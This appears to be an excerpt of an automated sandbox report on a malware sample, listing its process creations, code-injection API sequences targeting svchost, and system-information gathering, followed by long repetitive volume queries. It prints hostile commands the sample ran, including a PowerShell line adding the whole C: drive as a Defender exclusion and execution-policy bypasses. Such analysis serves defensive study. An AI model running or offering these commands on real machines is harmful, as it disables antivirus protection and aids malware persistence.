Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\'"	Jump to behavior

Bypasses PowerShell execution policy

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\'"

Contains functionality to inject code into remote processes

Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe

Code function: 6_2_02D07E50 _memset,_memset,_memset,GetSystemDirectoryA,GetFileAttributesA,CreateProcessA,VirtualAllocEx,WriteProcessMemory,GetThreadContext,SetThreadContext,ResumeThread,

6_2_02D07E50

Contains functionality to inject threads in other processes

Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe

Code function: 6_2_02D077E0 Sleep,OpenProcess,_memset,_memset,GetSystemDirectoryA,GetFileAttributesA,CreateProcessA,OpenProcess,_memset,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetCurrentProcess,GetProcessId,_memset,GetModuleFileNameA,VirtualAllocEx,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,CreateRemoteThread,Sleep,VirtualProtectEx,VirtualProtectEx,VirtualProtectEx,ResumeThread,

6_2_02D077E0

Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Code function: Sleep,OpenProcess,_memset,_memset,GetSystemDirectoryA,GetFileAttributesA,CreateProcessA,OpenProcess,_memset,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetCurrentProcess,GetProcessId,_memset,GetModuleFileNameA,VirtualAllocEx,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,CreateRemoteThread,Sleep,VirtualProtectEx,VirtualProtectEx,VirtualProtectEx,ResumeThread, Windows\SysWOW64\svchost.exe		6_2_02D077E0
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Code function: Sleep,OpenProcess,_memset,_memset,GetSystemDirectoryA,GetFileAttributesA,CreateProcessA,OpenProcess,_memset,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetCurrentProcess,GetProcessId,_memset,GetModuleFileNameA,VirtualAllocEx,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,CreateRemoteThread,Sleep,VirtualProtectEx,VirtualProtectEx,VirtualProtectEx,ResumeThread, Windows\System32\svchost.exe		6_2_02D077E0

Source: C:\Users\user\Desktop\FIWszl1A8l.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\'"	Jump to behavior
Source: C:\Users\user\Desktop\FIWszl1A8l.exe	Process created: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe "C:\Users\user\AppData\Roaming\FIWszl1A8l.exe"	Jump to behavior
Source: C:\Users\user\Desktop\FIWszl1A8l.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C powershell -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\Temp\\updated.ps1	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\'"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\Temp\\updated.ps1	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\updated.ps1

Source: FIWszl1A8l.exe, 00000006.00000002.3790306208.00000000032C4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: inProgram Manager
Source: FIWszl1A8l.exe, 00000006.00000003.1775024265.00000000041B3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: .168.2.9 0 min965969Windows 10 Pro10.0.190454HDD:1WW 223 Gb Free 168 Gb Mem: 8 Gb Free3 Gb Microsoft Basic Render Driver 0 5140 Microsoft Basic Render Driver 0 5140 Program Manager

Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe

Code function: _memset,_memset,_memset,gethostname,gethostbyname,inet_ntoa,_strcat_s,_strcat_s,inet_ntoa,_strcat_s,_strcat_s,MultiByteToWideChar,MultiByteToWideChar,MultiByteToWideChar,GetLastInputInfo,GetTickCount,wsprintfW,wsprintfW,MultiByteToWideChar,MultiByteToWideChar,GetSystemInfo,wsprintfW,GetForegroundWindow,GetWindowTextW,lstrlenW,lstrlenW,GetModuleHandleW,GetProcAddress,GetNativeSystemInfo,GetSystemInfo,wsprintfW,GetCurrentProcessId,OpenProcess,K32GetProcessImageFileNameW,CloseHandle,GetTickCount,__time64,__localtime64,wsprintfW,GetLocaleInfoW,GetSystemDirectoryW,GetCurrentHwProfileW,

6_2_02D05430

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
